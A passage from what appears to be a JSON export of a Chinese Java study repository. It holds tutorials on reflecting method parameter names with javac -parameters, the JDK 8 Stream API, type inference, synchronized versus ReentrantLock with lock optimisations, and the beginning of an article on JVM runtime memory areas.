改进的类型推断结束------------------------------------------------- -->\n____\n<!-- --------------------------------------------------- 反射获得方法参数信息------------------------------------------------- -->\n<span id=\"MethodParameterReflection\"></span>\n## 　　　　　　　　　　　　　通过反射获得方法的参数信息\nJDK8之前 .class文件是不会存储方法参数信息的，因此也就无法通过反射获取该信息(想想反射获取类信息的入口是什么？当然就是Class类了)。即是是在JDK11里\n也不会默认生成这些信息，可以通过在javac加上-parameters参数来让javac生成这些信息(javac就是java编译器，可以把java文件编译成.class文件)。生成额外\n的信息(运行时非必须信息)会消耗内存并且有可能公布敏感信息(某些方法参数比如password，JDK文档里这么说的)，并且确实很多信息javac并不会为我们生成，比如\nLocalVariableTable，javac就不会默认生成，需要你加上 -g:vars来强制让编译器生成，同样的，方法参数信息也需要加上\n-parameters来让javac为你在.class文件中生成这些信息，否则运行时反射是无法获取到这些信息的。在讲解Java语言层面的方法之前，先看一下javac加上该\n参数和不加生成的信息有什么区别(不感兴趣想直接看运行代码的可以跳过这段)。下面是随便写的一个类。\n```java\npublic class ByteCodeParameters {\n    public String simpleMethod(String canUGetMyName, Object yesICan) {\n        return \"9527\";\n    }\n}\n```\n先来不加参数编译和反编译一下这个类javac ByteCodeParameters.java , javap -v ByteCodeParameters:\n```java\n  //只截取了部分信息\n  public java.lang.String simpleMethod(java.lang.String, java.lang.Object);\n    descriptor: (Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/String;\n    flags: (0x0001) ACC_PUBLIC\n    Code:\n      stack=1, locals=3, args_size=3\n         0: ldc           #2                  // String 9527\n         2: areturn\n      LineNumberTable:\n        line 5: 0\n  //这个方法的描述到这里就结束了\n```\n接下来我们加上参数javac -parameters ByteCodeParameters.java 再来看反编译的信息:\n```java\n public java.lang.String simpleMethod(java.lang.String, java.lang.Object);\n    descriptor: (Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/String;\n    flags: (0x0001) ACC_PUBLIC\n    Code:\n      stack=1, locals=3, args_size=3\n         0: ldc           #2                  // String 9527\n         2: areturn\n      LineNumberTable:\n        line 8: 0\n    MethodParameters:\n      Name                           Flags\n      canUGetMyName\n      yesICan\n```\n可以看到.class文件里多了一个MethodParameters信息，这就是参数的名字，可以看到默认是不保存的。\n<br>下面看一下在Intelj Idea里运行的这个例子，我们试一下通过反射获取方法名 :\n```java\npublic class ByteCodeParameters {\n    public String simpleMethod(String canUGetMyName, Object yesICan) {\n        return \"9527\";\n    }\n\n    public static void main(String[] args) throws NoSuchMethodException {\n        Class<?> clazz = ByteCodeParameters.class;\n        Method simple = clazz.getDeclaredMethod(\"simpleMethod\", String.class, Object.class);\n        Parameter[] parameters = simple.getParameters();\n        for (Parameter p : parameters) {\n            System.out.println(p.getName());\n        }\n    }\n}\n输出 :\narg0\narg1\n```\n？？？说好的方法名呢？？？？别急，哈哈。前面说了，默认是不生成参数名信息的，因此我们需要做一些配置，我们找到IDEA的settings里的Java Compiler选项，在\nAdditional command line parameters:一行加上-parameters(Eclipse 也是找到Java Compiler选中Stoer information about method parameters)，或者自\n己编译一个.class文件放在IDEA的out下，然后再来运行 :\n```java\n输出 :\ncanUGetMyName\nyesICan\n```\n这样我们就通过反射获取到参数信息了。想要了解更多的同学可以自己研究一下 [官方文档]\n(https://docs.oracle.com/javase/tutorial/reflect/member/methodparameterreflection.html)\n<br>\n## 总结与补充\n在JDK8之后，可以通过-parameters参数来让编译器生成参数信息然后在运行时通过反射获取方法参数信息，其实在SpringFramework\n里面也有一个LocalVariableTableParameterNameDiscoverer对象可以获取方法参数名信息，有兴趣的同学可以自行百度(这个类在打印日志时可能会比较有用吧，个人感觉)。\n<!-- --------------------------------------------------- 反射获得方法参数信息结束------------------------------------------------- -->\n____\n<!-- --------------------------------------------------- JDK8流库------------------------------------------------------------- -->\n<span id=\"stream\"></span>\n\n<!-- --------------------------------------------------- JDK8流库结束------------------------------------------------- -->\n___\n"
  },
  {
    "path": "docs/java/What's New in JDK8/Stream.md",
    "content": "Stream API 旨在让编码更高效率、干净、简洁。\n\n### 从迭代器到Stream操作\n\n当使用 `Stream` 时，我们一般会通过三个阶段建立一个流水线：\n\n1. 创建一个 `Stream`；\n2. 进行一个或多个中间操作;\n3. 使用终止操作产生一个结果,`Stream` 就不会再被使用了。\n\n**案例1：统计 List 中的单词长度大于6的个数**\n\n```java\n/**\n* 案例1：统计 List 中的单词长度大于6的个数\n*/\nArrayList<String> wordsList = new ArrayList<String>();\nwordsList.add(\"Charles\");\nwordsList.add(\"Vincent\");\nwordsList.add(\"William\");\nwordsList.add(\"Joseph\");\nwordsList.add(\"Henry\");\nwordsList.add(\"Bill\");\nwordsList.add(\"Joan\");\nwordsList.add(\"Linda\");\nint count = 0;\n```\nJava8之前我们通常用迭代方法来完成上面的需求：\n\n```java\n//迭代（Java8之前的常用方法）\n//迭代不好的地方：1. 代码多；2 很难被并行运算。\nfor (String word : wordsList) {\n    if (word.length() > 6) {\n        count++;\n    }\n}\nSystem.out.println(count);//3\n```\nJava8之前我们使用 `Stream` 一行代码就能解决了，而且可以瞬间转换为并行执行的效果：\n\n```java\n//Stream\n//将stream()改为parallelStream()就可以瞬间将代码编程并行执行的效果\nlong count2=wordsList.stream()\n    .filter(w->w.length()>6)\n    .count();\nlong count3=wordsList.parallelStream()\n    .filter(w->w.length()>6)\n    .count();\nSystem.out.println(count2);\nSystem.out.println(count3);\n```\n\n### `distinct()`\n\n去除 List 中重复的 String\n\n```java\nList<String> list = list.stream()\n    .distinct()\n    .collect(Collectors.toList());\n```\n\n### `map`\n\nmap 方法用于映射每个元素到对应的结果，以下代码片段使用 map 输出了元素对应的平方数：\n\n```java\nList<Integer> numbers = Arrays.asList(3, 2, 2, 3, 7, 3, 5);\n// 获取 List 中每个元素对应的平方数并去重\nList<Integer> squaresList = numbers.stream().map( i -> i*i).distinct().collect(Collectors.toList());\nSystem.out.println(squaresList.toString());//[9, 4, 49, 25]\n```\n\n"
  },
  {
    "path": "docs/java/What's New in JDK8/改进的类型推断.md",
    "content": "## 　　　　　　　　　　　　　改进的类型推断\n### 1.什么是类型推断\n类型推断就像它的字面意思一样，编译器根据<b><i>你显示声明的已知的信息</i></b> 推断出你没有显示声明的类型，这就是类型推断。\n看过《Java编程思想 第四版》的朋友可能还记得里面讲解泛型一章的时候，里面很多例子是下面这样的:\n```java\n  Map<String, Object> map = new Map<String, Object>();\n```\n而我们平常写的都是这样的:\n```java\n  Map<String, Object> map = new Map<>();\n```\n这就是类型推断，《Java编程思想 第四版》这本书出书的时候最新的JDK只有1.6(JDK7推出的类型推断)，在Java编程思想里Bruce Eckel大叔还提到过这个问题\n(可能JDK的官方人员看了Bruce Eckel大叔的Thinking in Java才加的类型推断，☺)，在JDK7中推出了上面这样的类型推断，可以减少一些无用的代码。\n(Java编程思想到现在还只有第四版，是不是因为Bruce Eckel大叔觉得Java新推出的语言特性“然并卵”呢？/滑稽)\n<br>\n在JDK7中，类型推断只有上面例子的那样的能力，即只有在使用**赋值语句**时才能自动推断出泛型参数信息(即<>里的信息)，下面的官方文档里的例子在JDK7里会编译\n错误\n```java\n  List<String> stringList = new ArrayList<>();\n  stringList.add(\"A\");\n  //error : addAll(java.util.Collection<? extends java.lang.String>)in List cannot be applied to (java.util.List<java.lang.Object>)\n  stringList.addAll(Arrays.asList());  \n```\n但是上面的代码在JDK8里可以通过，也就说，JDK8里，类型推断不仅可以用于赋值语句，而且可以根据代码中上下文里的信息推断出更多的信息，因此我们需要些的代码\n会更少。加强的类型推断还有一个就是用于Lambda表达式了。\n<br>\n大家其实不必细究类型推断，在日常使用中IDE会自动判断，当IDE自己无法推断出足够的信息时，就需要我们额外做一下工作，比如在<>里添加更多的类型信息，\n相信随着Java的进化，这些便利的功能会越来越强大。\n\n<!-- --------------------------------------------------- 改进的类型推断结束------------------------------------------------- -->\n"
  },
  {
    "path": "docs/java/What's New in JDK8/通过反射获得方法的参数信息.md",
    "content": "## 　　　　　　　　　　　　　通过反射获得方法的参数信息\nJDK8之前 .class文件是不会存储方法参数信息的，因此也就无法通过反射获取该信息(想想反射获取类信息的入口是什么？当然就是Class类了)。即是是在JDK11里\n也不会默认生成这些信息，可以通过在javac加上-parameters参数来让javac生成这些信息(javac就是java编译器，可以把java文件编译成.class文件)。生成额外\n的信息(运行时非必须信息)会消耗内存并且有可能公布敏感信息(某些方法参数比如password，JDK文档里这么说的)，并且确实很多信息javac并不会为我们生成，比如\nLocalVariableTable，javac就不会默认生成，需要你加上 -g:vars来强制让编译器生成，同样的，方法参数信息也需要加上\n-parameters来让javac为你在.class文件中生成这些信息，否则运行时反射是无法获取到这些信息的。在讲解Java语言层面的方法之前，先看一下javac加上该\n参数和不加生成的信息有什么区别(不感兴趣想直接看运行代码的可以跳过这段)。下面是随便写的一个类。\n```java\npublic class ByteCodeParameters {\n    public String simpleMethod(String canUGetMyName, Object yesICan) {\n        return \"9527\";\n    }\n}\n```\n先来不加参数编译和反编译一下这个类javac ByteCodeParameters.java , javap -v ByteCodeParameters:\n```java\n  //只截取了部分信息\n  public java.lang.String simpleMethod(java.lang.String, java.lang.Object);\n    descriptor: (Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/String;\n    flags: (0x0001) ACC_PUBLIC\n    Code:\n      stack=1, locals=3, args_size=3\n         0: ldc           #2                  // String 9527\n         2: areturn\n      LineNumberTable:\n        line 5: 0\n  //这个方法的描述到这里就结束了\n```\n接下来我们加上参数javac -parameters ByteCodeParameters.java 再来看反编译的信息:\n```java\n public java.lang.String simpleMethod(java.lang.String, java.lang.Object);\n    descriptor: (Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/String;\n    flags: (0x0001) ACC_PUBLIC\n    Code:\n      stack=1, locals=3, args_size=3\n         0: ldc           #2                  // String 9527\n         2: areturn\n      LineNumberTable:\n        line 8: 0\n    MethodParameters:\n      Name                           Flags\n      canUGetMyName\n      yesICan\n```\n可以看到.class文件里多了一个MethodParameters信息，这就是参数的名字，可以看到默认是不保存的。\n<br>下面看一下在Intelj Idea里运行的这个例子，我们试一下通过反射获取方法名 :\n```java\npublic class ByteCodeParameters {\n    public String simpleMethod(String canUGetMyName, Object yesICan) {\n        return \"9527\";\n    }\n\n    public static void main(String[] args) throws NoSuchMethodException {\n        Class<?> clazz = ByteCodeParameters.class;\n        Method simple = clazz.getDeclaredMethod(\"simpleMethod\", String.class, Object.class);\n        Parameter[] parameters = simple.getParameters();\n        for (Parameter p : parameters) {\n            System.out.println(p.getName());\n        }\n    }\n}\n输出 :\narg0\narg1\n```\n？？？说好的方法名呢？？？？别急，哈哈。前面说了，默认是不生成参数名信息的，因此我们需要做一些配置，我们找到IDEA的settings里的Java Compiler选项，在\nAdditional command line parameters:一行加上-parameters(Eclipse 也是找到Java Compiler选中Stoer information about method parameters)，或者自\n己编译一个.class文件放在IDEA的out下，然后再来运行 :\n```java\n输出 :\ncanUGetMyName\nyesICan\n```\n这样我们就通过反射获取到参数信息了。想要了解更多的同学可以自己研究一下 [官方文档]\n(https://docs.oracle.com/javase/tutorial/reflect/member/methodparameterreflection.html)\n<br>\n## 总结与补充\n在JDK8之后，可以通过-parameters参数来让编译器生成参数信息然后在运行时通过反射获取方法参数信息，其实在SpringFramework\n里面也有一个LocalVariableTableParameterNameDiscoverer对象可以获取方法参数名信息，有兴趣的同学可以自行百度(这个类在打印日志时可能会比较有用吧，个人感觉)。\n"
  },
  {
    "path": "docs/java/synchronized.md",
    "content": "\n\n![Synchronized 关键字使用、底层原理、JDK1.6 之后的底层优化以及 和ReenTrantLock 的对比](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/Java%20%E7%A8%8B%E5%BA%8F%E5%91%98%E5%BF%85%E5%A4%87%EF%BC%9A%E5%B9%B6%E5%8F%91%E7%9F%A5%E8%AF%86%E7%B3%BB%E7%BB%9F%E6%80%BB%E7%BB%93/%E4%BA%8C%20%20Synchronized%20%E5%85%B3%E9%94%AE%E5%AD%97%E4%BD%BF%E7%94%A8%E3%80%81%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86%E3%80%81JDK1.6%20%E4%B9%8B%E5%90%8E%E7%9A%84%E5%BA%95%E5%B1%82%E4%BC%98%E5%8C%96%E4%BB%A5%E5%8F%8A%20%E5%92%8CReenTrantLock%20%E7%9A%84%E5%AF%B9%E6%AF%94.png)\n\n###  synchronized关键字最主要的三种使用方式的总结\n\n- **修饰实例方法，作用于当前对象实例加锁，进入同步代码前要获得当前对象实例的锁**\n- **修饰静态方法，作用于当前类对象加锁，进入同步代码前要获得当前类对象的锁** 。也就是给当前类加锁，会作用于类的所有对象实例，因为静态成员不属于任何一个实例对象，是类成员（ static 表明这是该类的一个静态资源，不管new了多少个对象，只有一份，所以对该类的所有对象都加了锁）。所以如果一个线程A调用一个实例对象的非静态 synchronized 方法，而线程B需要调用这个实例对象所属类的静态 synchronized 方法，是允许的，不会发生互斥现象，**因为访问静态 synchronized 方法占用的锁是当前类的锁，而访问非静态 synchronized 方法占用的锁是当前实例对象锁**。\n- **修饰代码块，指定加锁对象，对给定对象加锁，进入同步代码库前要获得给定对象的锁。** 和 synchronized 方法一样，synchronized(this)代码块也是锁定当前对象的。synchronized 关键字加到 static 静态方法和 synchronized(class)代码块上都是是给 Class 类上锁。这里再提一下：synchronized关键字加到非 static 静态方法上是给对象实例上锁。另外需要注意的是：尽量不要使用 synchronized(String a) 因为JVM中，字符串常量池具有缓冲功能！\n\n下面我已一个常见的面试题为例讲解一下 synchronized 关键字的具体使用。\n\n面试中面试官经常会说：“单例模式了解吗？来给我手写一下！给我解释一下双重检验锁方式实现单例模式的原理呗！”\n\n\n\n**双重校验锁实现对象单例（线程安全）**\n\n```java\npublic class Singleton {\n\n    private volatile static Singleton uniqueInstance;\n\n    private Singleton() {\n    }\n\n    public static Singleton getUniqueInstance() {\n       //先判断对象是否已经实例过，没有实例化过才进入加锁代码\n        if (uniqueInstance == null) {\n            //类对象加锁\n            synchronized (Singleton.class) {\n                if (uniqueInstance == null) {\n                    uniqueInstance = new Singleton();\n                }\n            }\n        }\n        return uniqueInstance;\n    }\n}\n```\n另外，需要注意 uniqueInstance 采用 volatile 关键字修饰也是很有必要。\n\nuniqueInstance 采用 volatile 关键字修饰也是很有必要的， uniqueInstance = new Singleton(); 这段代码其实是分为三步执行：\n\n1. 为 uniqueInstance 分配内存空间\n2. 初始化 uniqueInstance\n3. 将 uniqueInstance 指向分配的内存地址\n\n但是由于 JVM 具有指令重排的特性，执行顺序有可能变成 1->3->2。指令重排在单线程环境下不会出现问题，但是在多线程环境下会导致一个线程获得还没有初始化的实例。例如，线程 T1 执行了 1 和 3，此时 T2 调用 getUniqueInstance() 后发现 uniqueInstance 不为空，因此返回 uniqueInstance，但此时 uniqueInstance 还未被初始化。\n\n使用 volatile 可以禁止 JVM 的指令重排，保证在多线程环境下也能正常运行。\n\n\n###synchronized 关键字底层原理总结\n\n\n\n**synchronized 关键字底层原理属于 JVM 层面。**\n\n**① synchronized 同步语句块的情况**\n\n```java\npublic class SynchronizedDemo {\n\tpublic void method() {\n\t\tsynchronized (this) {\n\t\t\tSystem.out.println(\"synchronized 代码块\");\n\t\t}\n\t}\n}\n\n```\n\n通过 JDK 自带的 javap 命令查看 SynchronizedDemo 类的相关字节码信息：首先切换到类的对应目录执行 `javac SynchronizedDemo.java` 命令生成编译后的 .class 文件，然后执行`javap -c -s -v -l SynchronizedDemo.class`。\n\n![synchronized 关键字原理](https://images.gitbook.cn/abc37c80-d21d-11e8-aab3-09d30029e0d5)\n\n从上面我们可以看出：\n\n**synchronized 同步语句块的实现使用的是 monitorenter 和 monitorexit 指令，其中 monitorenter 指令指向同步代码块的开始位置，monitorexit 指令则指明同步代码块的结束位置。** 当执行 monitorenter 指令时，线程试图获取锁也就是获取 monitor(monitor对象存在于每个Java对象的对象头中，synchronized 锁便是通过这种方式获取锁的，也是为什么Java中任意对象可以作为锁的原因) 的持有权.当计数器为0则可以成功获取，获取后将锁计数器设为1也就是加1。相应的在执行 monitorexit 指令后，将锁计数器设为0，表明锁被释放。如果获取对象锁失败，那当前线程就要阻塞等待，直到锁被另外一个线程释放为止。\n\n**② synchronized 修饰方法的的情况**\n\n```java\npublic class SynchronizedDemo2 {\n\tpublic synchronized void method() {\n\t\tSystem.out.println(\"synchronized 方法\");\n\t}\n}\n\n```\n\n![synchronized 关键字原理](https://images.gitbook.cn/7d407bf0-d21e-11e8-b2d6-1188c7e0dd7e)\n\nsynchronized 修饰的方法并没有 monitorenter 指令和 monitorexit 指令，取得代之的确实是 ACC_SYNCHRONIZED 标识，该标识指明了该方法是一个同步方法，JVM 通过该 ACC_SYNCHRONIZED 访问标志来辨别一个方法是否声明为同步方法，从而执行相应的同步调用。\n\n\n在 Java 早期版本中，synchronized 属于重量级锁，效率低下，因为监视器锁（monitor）是依赖于底层的操作系统的 Mutex Lock 来实现的，Java 的线程是映射到操作系统的原生线程之上的。如果要挂起或者唤醒一个线程，都需要操作系统帮忙完成，而操作系统实现线程之间的切换时需要从用户态转换到内核态，这个状态之间的转换需要相对比较长的时间，时间成本相对较高，这也是为什么早期的 synchronized 效率低的原因。庆幸的是在 Java 6 之后 Java 官方对从 JVM 层面对synchronized 较大优化，所以现在的 synchronized 锁效率也优化得很不错了。JDK1.6对锁的实现引入了大量的优化，如自旋锁、适应性自旋锁、锁消除、锁粗化、偏向锁、轻量级锁等技术来减少锁操作的开销。\n\n\n###  JDK1.6 之后的底层优化\n\nJDK1.6 对锁的实现引入了大量的优化，如偏向锁、轻量级锁、自旋锁、适应性自旋锁、锁消除、锁粗化等技术来减少锁操作的开销。\n\n锁主要存在四中状态，依次是：无锁状态、偏向锁状态、轻量级锁状态、重量级锁状态，他们会随着竞争的激烈而逐渐升级。注意锁可以升级不可降级，这种策略是为了提高获得锁和释放锁的效率。\n\n**①偏向锁**\n\n**引入偏向锁的目的和引入轻量级锁的目的很像，他们都是为了没有多线程竞争的前提下，减少传统的重量级锁使用操作系统互斥量产生的性能消耗。但是不同是：轻量级锁在无竞争的情况下使用 CAS 操作去代替使用互斥量。而偏向锁在无竞争的情况下会把整个同步都消除掉**。\n\n偏向锁的“偏”就是偏心的偏，它的意思是会偏向于第一个获得它的线程，如果在接下来的执行中，该锁没有被其他线程获取，那么持有偏向锁的线程就不需要进行同步！关于偏向锁的原理可以查看《深入理解Java虚拟机：JVM高级特性与最佳实践》第二版的13章第三节锁优化。\n\n但是对于锁竞争比较激烈的场合，偏向锁就失效了，因为这样场合极有可能每次申请锁的线程都是不相同的，因此这种场合下不应该使用偏向锁，否则会得不偿失，需要注意的是，偏向锁失败后，并不会立即膨胀为重量级锁，而是先升级为轻量级锁。\n\n**② 轻量级锁**\n\n倘若偏向锁失败，虚拟机并不会立即升级为重量级锁，它还会尝试使用一种称为轻量级锁的优化手段(1.6之后加入的)。**轻量级锁不是为了代替重量级锁，它的本意是在没有多线程竞争的前提下，减少传统的重量级锁使用操作系统互斥量产生的性能消耗，因为使用轻量级锁时，不需要申请互斥量。另外，轻量级锁的加锁和解锁都用到了CAS操作。** 关于轻量级锁的加锁和解锁的原理可以查看《深入理解Java虚拟机：JVM高级特性与最佳实践》第二版的13章第三节锁优化。\n\n**轻量级锁能够提升程序同步性能的依据是“对于绝大部分锁，在整个同步周期内都是不存在竞争的”，这是一个经验数据。如果没有竞争，轻量级锁使用 CAS 操作避免了使用互斥操作的开销。但如果存在锁竞争，除了互斥量开销外，还会额外发生CAS操作，因此在有锁竞争的情况下，轻量级锁比传统的重量级锁更慢！如果锁竞争激烈，那么轻量级将很快膨胀为重量级锁！**\n\n**③  自旋锁和自适应自旋**\n\n轻量级锁失败后，虚拟机为了避免线程真实地在操作系统层面挂起，还会进行一项称为自旋锁的优化手段。\n\n互斥同步对性能最大的影响就是阻塞的实现，因为挂起线程/恢复线程的操作都需要转入内核态中完成（用户态转换到内核态会耗费时间）。\n\n**一般线程持有锁的时间都不是太长，所以仅仅为了这一点时间去挂起线程/恢复线程是得不偿失的。** 所以，虚拟机的开发团队就这样去考虑：“我们能不能让后面来的请求获取锁的线程等待一会而不被挂起呢？看看持有锁的线程是否很快就会释放锁”。**为了让一个线程等待，我们只需要让线程执行一个忙循环（自旋），这项技术就叫做自旋**。\n\n百度百科对自旋锁的解释：\n\n> 何谓自旋锁？它是为实现保护共享资源而提出一种锁机制。其实，自旋锁与互斥锁比较类似，它们都是为了解决对某项资源的互斥使用。无论是互斥锁，还是自旋锁，在任何时刻，最多只能有一个保持者，也就说，在任何时刻最多只能有一个执行单元获得锁。但是两者在调度机制上略有不同。对于互斥锁，如果资源已经被占用，资源申请者只能进入睡眠状态。但是自旋锁不会引起调用者睡眠，如果自旋锁已经被别的执行单元保持，调用者就一直循环在那里看是否该自旋锁的保持者已经释放了锁，\"自旋\"一词就是因此而得名。\n\n自旋锁在 JDK1.6 之前其实就已经引入了，不过是默认关闭的，需要通过`--XX:+UseSpinning`参数来开启。JDK1.6及1.6之后，就改为默认开启的了。需要注意的是：自旋等待不能完全替代阻塞，因为它还是要占用处理器时间。如果锁被占用的时间短，那么效果当然就很好了！反之，相反！自旋等待的时间必须要有限度。如果自旋超过了限定次数任然没有获得锁，就应该挂起线程。**自旋次数的默认值是10次，用户可以修改`--XX:PreBlockSpin`来更改**。\n\n另外,**在 JDK1.6 中引入了自适应的自旋锁。自适应的自旋锁带来的改进就是：自旋的时间不在固定了，而是和前一次同一个锁上的自旋时间以及锁的拥有者的状态来决定，虚拟机变得越来越“聪明”了**。\n\n**④ 锁消除**\n\n锁消除理解起来很简单，它指的就是虚拟机即使编译器在运行时，如果检测到那些共享数据不可能存在竞争，那么就执行锁消除。锁消除可以节省毫无意义的请求锁的时间。\n\n**⑤ 锁粗化**\n\n原则上，我们在编写代码的时候，总是推荐将同步块的作用范围限制得尽量小，——直在共享数据的实际作用域才进行同步，这样是为了使得需要同步的操作数量尽可能变小，如果存在锁竞争，那等待线程也能尽快拿到锁。\n\n大部分情况下，上面的原则都是没有问题的，但是如果一系列的连续操作都对同一个对象反复加锁和解锁，那么会带来很多不必要的性能消耗。\n\n###  Synchronized 和 ReenTrantLock 的对比\n\n\n**① 两者都是可重入锁**\n\n两者都是可重入锁。“可重入锁”概念是：自己可以再次获取自己的内部锁。比如一个线程获得了某个对象的锁，此时这个对象锁还没有释放，当其再次想要获取这个对象的锁的时候还是可以获取的，如果不可锁重入的话，就会造成死锁。同一个线程每次获取锁，锁的计数器都自增1，所以要等到锁的计数器下降为0时才能释放锁。\n\n**② synchronized 依赖于 JVM 而 ReenTrantLock 依赖于 API**\n\nsynchronized 是依赖于 JVM 实现的，前面我们也讲到了 虚拟机团队在 JDK1.6 为 synchronized 关键字进行了很多优化，但是这些优化都是在虚拟机层面实现的，并没有直接暴露给我们。ReenTrantLock 是 JDK 层面实现的（也就是 API 层面，需要 lock() 和 unlock 方法配合 try/finally 语句块来完成），所以我们可以通过查看它的源代码，来看它是如何实现的。\n\n**③ ReenTrantLock 比 synchronized 增加了一些高级功能**\n\n相比synchronized，ReenTrantLock增加了一些高级功能。主要来说主要有三点：**①等待可中断；②可实现公平锁；③可实现选择性通知（锁可以绑定多个条件）**\n\n- **ReenTrantLock提供了一种能够中断等待锁的线程的机制**，通过lock.lockInterruptibly()来实现这个机制。也就是说正在等待的线程可以选择放弃等待，改为处理其他事情。\n- **ReenTrantLock可以指定是公平锁还是非公平锁。而synchronized只能是非公平锁。所谓的公平锁就是先等待的线程先获得锁。** ReenTrantLock默认情况是非公平的，可以通过 ReenTrantLock类的`ReentrantLock(boolean fair)`构造方法来制定是否是公平的。\n- synchronized关键字与wait()和notify/notifyAll()方法相结合可以实现等待/通知机制，ReentrantLock类当然也可以实现，但是需要借助于Condition接口与newCondition() 方法。Condition是JDK1.5之后才有的，它具有很好的灵活性，比如可以实现多路通知功能也就是在一个Lock对象中可以创建多个Condition实例（即对象监视器），**线程对象可以注册在指定的Condition中，从而可以有选择性的进行线程通知，在调度线程上更加灵活。 在使用notify/notifyAll()方法进行通知时，被通知的线程是由 JVM 选择的，用ReentrantLock类结合Condition实例可以实现“选择性通知”** ，这个功能非常重要，而且是Condition接口默认提供的。而synchronized关键字就相当于整个Lock对象中只有一个Condition实例，所有的线程都注册在它一个身上。如果执行notifyAll()方法的话就会通知所有处于等待状态的线程这样会造成很大的效率问题，而Condition实例的signalAll()方法 只会唤醒注册在该Condition实例中的所有等待线程。\n\n如果你想使用上述功能，那么选择ReenTrantLock是一个不错的选择。\n\n**④ 性能已不是选择标准**\n\n在JDK1.6之前，synchronized 的性能是比 ReenTrantLock 差很多。具体表示为：synchronized 关键字吞吐量随线程数的增加，下降得非常严重。而ReenTrantLock 基本保持一个比较稳定的水平。我觉得这也侧面反映了， synchronized 关键字还有非常大的优化余地。后续的技术发展也证明了这一点，我们上面也讲了在 JDK1.6 之后 JVM 团队对 synchronized 关键字做了很多优化。**JDK1.6 之后，synchronized 和 ReenTrantLock 的性能基本是持平了。所以网上那些说因为性能才选择 ReenTrantLock 的文章都是错的！JDK1.6之后，性能已经不是选择synchronized和ReenTrantLock的影响因素了！而且虚拟机在未来的性能改进中会更偏向于原生的synchronized，所以还是提倡在synchronized能满足你的需求的情况下，优先考虑使用synchronized关键字来进行同步！优化后的synchronized和ReenTrantLock一样，在很多地方都是用到了CAS操作**。\n"
  },
  {
    "path": "docs/java/可能是把Java内存区域讲的最清楚的一篇文章.md",
    "content": "\n<!-- TOC -->\n\n- [写在前面(常见面试题)](#写在前面常见面试题)\n    - [基本问题](#基本问题)\n    - [拓展问题](#拓展问题)\n- [一 概述](#一-概述)\n- [二 运行时数据区域](#二-运行时数据区域)\n    - [2.1 程序计数器](#21-程序计数器)\n    - [2.2 Java 虚拟机栈](#22-java-虚拟机栈)\n    - [2.3 本地方法栈](#23-本地方法栈)\n    - [2.4 堆](#24-堆)\n    - [2.5 方法区](#25-方法区)\n    - [2.6 运行时常量池](#26-运行时常量池)\n    - [2.7 直接内存](#27-直接内存)\n- [三 HotSpot 虚拟机对象探秘](#三-hotspot-虚拟机对象探秘)\n    - [3.1 对象的创建](#31-对象的创建)\n    - [3.2 对象的内存布局](#32-对象的内存布局)\n    - [3.3 对象的访问定位](#33-对象的访问定位)\n- [四  重点补充内容](#四--重点补充内容)\n    - [String 类和常量池](#string-类和常量池)\n    - [String s1 = new String(\"abc\");这句话创建了几个对象？](#string-s1--new-stringabc这句话创建了几个对象)\n    - [8种基本类型的包装类和常量池](#8种基本类型的包装类和常量池)\n- [参考](#参考)\n\n<!-- /TOC -->\n## 写在前面(常见面试题)\n\n### 基本问题\n\n- **介绍下 Java 内存区域（运行时数据区）**\n- **Java 对象的创建过程（五步，建议能默写出来并且要知道每一步虚拟机做了什么）**\n- **对象的访问定位的两种方式（句柄和直接指针两种方式）**\n\n### 拓展问题\n\n- **String类和常量池**\n- **8种基本类型的包装类和常量池**\n\n\n## 一 概述\n\n对于 Java 程序员来说，在虚拟机自动内存管理机制下，不再需要像C/C++程序开发程序员这样为内一个 new 操作去写对应的 delete/free 操作，不容易出现内存泄漏和内存溢出问题。正是因为 Java 程序员把内存控制权利交给 Java 虚拟机，一旦出现内存泄漏和溢出方面的问题，如果不了解虚拟机是怎样使用内存的，那么排查错误将会是一个非常艰巨的任务。\n\n\n## 二 运行时数据区域\nJava 虚拟机在执行 Java 程序的过程中会把它管理的内存划分成若干个不同的数据区域。JDK. 1.8 和之前的版本略有不同，下面会介绍到。\n\n**JDK 1.8之前：**\n\n<div align=\"center\">  \n<img src=\"https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-3/JVM运行时数据区域.png\" width=\"600px\"/>\n</div>\n\n**JDK 1.8 ：**\n\n<div align=\"center\">  \n<img src=\"https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-3Java运行时数据区域JDK1.8.png\" width=\"600px\"/>\n</div>\n\n**线程私有的：**\n\n- 程序计数器\n- 虚拟机栈\n- 本地方法栈\n\n**线程共享的：**\n\n- 堆\n- 方法区\n- 直接内存(非运行时数据区的一部分)\n\n\n### 2.1 程序计数器\n程序计数器是一块较小的内存空间，可以看作是当前线程所执行的字节码的行号指示器。**字节码解释器工作时通过改变这个计数器的值来选取下一条需要执行的字节码指令，分支、循环、跳转、异常处理、线程恢复等功能都需要依赖这个计数器来完。**\n\n另外，**为了线程切换后能恢复到正确的执行位置，每条线程都需要有一个独立的程序计数器，各线程之间计数器互不影响，独立存储，我们称这类内存区域为“线程私有”的内存。**\n\n**从上面的介绍中我们知道程序计数器主要有两个作用：**\n\n1. 字节码解释器通过改变程序计数器来依次读取指令，从而实现代码的流程控制，如：顺序执行、选择、循环、异常处理。\n2. 在多线程的情况下，程序计数器用于记录当前线程执行的位置，从而当线程被切换回来的时候能够知道该线程上次运行到哪儿了。\n\n**注意：程序计数器是唯一一个不会出现 OutOfMemoryError 的内存区域，它的生命周期随着线程的创建而创建，随着线程的结束而死亡。**\n\n### 2.2 Java 虚拟机栈\n\n**与程序计数器一样，Java虚拟机栈也是线程私有的，它的生命周期和线程相同，描述的是 Java 方法执行的内存模型，每次方法调用的数据都是通过栈传递的。**\n\n**Java 内存可以粗糙的区分为堆内存（Heap）和栈内存(Stack),其中栈就是现在说的虚拟机栈，或者说是虚拟机栈中局部变量表部分。** （实际上，Java虚拟机栈是由一个个栈帧组成，而每个栈帧中都拥有：局部变量表、操作数栈、动态链接、方法出口信息。）\n\n**局部变量表主要存放了编译器可知的各种数据类型**（boolean、byte、char、short、int、float、long、double）、**对象引用**（reference类型，它不同于对象本身，可能是一个指向对象起始地址的引用指针，也可能是指向一个代表对象的句柄或其他与此对象相关的位置）。\n\n**Java 虚拟机栈会出现两种异常：StackOverFlowError 和 